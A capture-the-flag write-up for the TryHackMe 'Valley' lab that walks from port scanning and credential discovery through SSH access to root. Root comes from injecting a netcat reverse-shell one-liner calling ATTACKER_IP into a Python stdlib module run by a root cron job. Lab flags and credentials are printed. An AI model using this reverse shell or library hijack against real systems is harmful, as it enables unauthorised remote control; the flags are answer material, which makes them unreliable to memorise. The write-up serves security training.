Table of Contents
Valley #
Platform: TryHackMe Category: Penetration Testing Difficulty: Medium Date: 2026-03-01 Author: t0nt0n Reading time: ~7 min
Reconnaissance #
Port Scan #
1nmap --privileged -sC -sV -T4 -p- -o nmap.txt 10.112.147.129
Three open ports:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 |
| 80 | HTTP | Apache 2.4.41 |
| 37370 | FTP | vsftpd 3.0.3 |
FTP on a non-standard port (37370) is the immediate red flag.
Web Enumeration #
The site is Valley Photo Co., a static photography site with:
/gallery/gallery.html— 18 images served from/static/1through/static/18/pricing/pricing.html— pricing page with a hiddennote.txt
note.txt at /pricing/note.txt:
J,
Please stop leaving notes randomly on the website
-RP
Two usernames extracted: J (likely john) and RP.
Finding the Hidden Login Page #
Standard gobuster/ffuf with common wordlists found nothing new. The key was fuzzing /static/ with a zero-padded numeric wordlist:
1seq -w 00 99 > numbers.txt
2ffuf -u http://10.112.147.129/static/FUZZ -w numbers.txt -mc 200,301
This revealed /static/00 — a login page not shown in the gallery.
Hardcoded Credentials in JavaScript #
Inspecting the login page source revealed a reference to dev.js. The JS file contained plaintext credentials:
username: siemDev
password: <redacted>
These credentials failed on the web login form but worked on FTP port 37370.
Exploitation #
FTP — Downloading PCAP Files #
1ftp 10.112.147.129 37370
2# login with siemDev credentials
Three files downloaded:
siemFTP.pcapngsiemHTTP1.pcapngsiemHTTP2.pcapng
Extracting Credentials from PCAP #
siemHTTP2.pcapng contained a POST request to /index.html with a hex-encoded body:
1tshark -r siemHTTP2.pcapng -Y "http.request.method == POST" \
2 -T fields -e http.file_data
Output:
756e616d653d76616c6c6579446576267073773d706830743073313233342672656d656d6265723d6f6e
Decoded:
1python3 -c "print(bytes.fromhex('756e616d65...6f6e').decode())"
2# uname=valleyDev&psw=ph0t0s1234&remember=on
SSH credentials: valleyDev / ph0t0s1234
User Shell #
1ssh valleyDev@10.112.147.129
2cat ~/user.txt
Reveal Flag — User
THM{k@l1_1n_th3_v@lley}
Privilege Escalation #
Enumeration #
1cat /etc/crontab
Found a root cron job running every hour at minute 1:
1 * * * * root python3 /photos/script/photosEncrypt.py
The script imports the base64 module:
1import base64
2# encodes photos to /photos/photoVault/
Checking /usr/lib/python3.8/base64.py:
1ls -la /usr/lib/python3.8/base64.py
2# -rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 2023 base64.py
Group valleyAdmin has write access. We needed to join that group.
Cracking valleyAuthenticator #
A suspicious SUID-like binary lived at /home/valleyAuthenticator (world-executable, owned by valley):
1scp valleyDev@10.112.147.129:/home/valleyAuthenticator .
2upx -d valleyAuthenticator # unpack UPX binary
3strings valleyAuthenticator | grep -i pass -A10
Extracted MD5 hashes cracked at crackstation.net → revealed valley's password.
Pivoting to valley #
1ssh valley@10.112.147.129
2id
3# valley is in group valleyAdmin → can write to base64.py
Python Library Hijack → Root #
Injected a reverse shell at the top of /usr/lib/python3.8/base64.py:
1import os
2os.system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4242 >/tmp/f')
Started listener:
1rlwrap nc -lvnp 4242
Waited for cron to fire at :01 → root shell.
1cat /root/root.txt
Reveal Flag — Root
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}
Tools Used #
nmap— port scanningffuf— directory/file fuzzingtshark— pcap analysispython3— hex decodingupx— unpacking binarysteghide,binwalk— stego analysis (negative results)rlwrap+nc— reverse shell listener
What Didn't Work #
- FTP anonymous login — failed; needed valid credentials from dev.js
- Binwalk on images —
static_16.jpgtriggered a gzip false positive; the embedded data was corrupt/noise - Steghide with empty password — no hits on any of the 18 images
- vsftpd 3.0.3 exploit — only a remote DoS in searchsploit, not useful
seq 0 30on /static/ — missed/static/00because of missing leading zero padding- gobuster with common.txt — too small; SecLists raft lists needed for proper coverage
Lessons Learned #
- Always zero-pad numeric fuzzing:
seq -w 00 99notseq 0 99—/static/00and/static/0are different paths - POST bodies in pcaps are often hex-encoded: decode with
bytes.fromhex(...).decode()in Python - Hardcoded creds in JS files: when a login page exists, always read linked JS — dev.js, app.js etc. are common offenders
- UPX-packed binaries hide strings: always run
upx -dbeforestringson suspicious executables - Python stdlib hijack: if a root cronjob runs
python3 script.pyimporting a stdlib module, check group permissions on that module in/usr/lib/python3.x/ - Non-standard ports are intentional: FTP on 37370 was the entire entry point — never skip full
-p-scans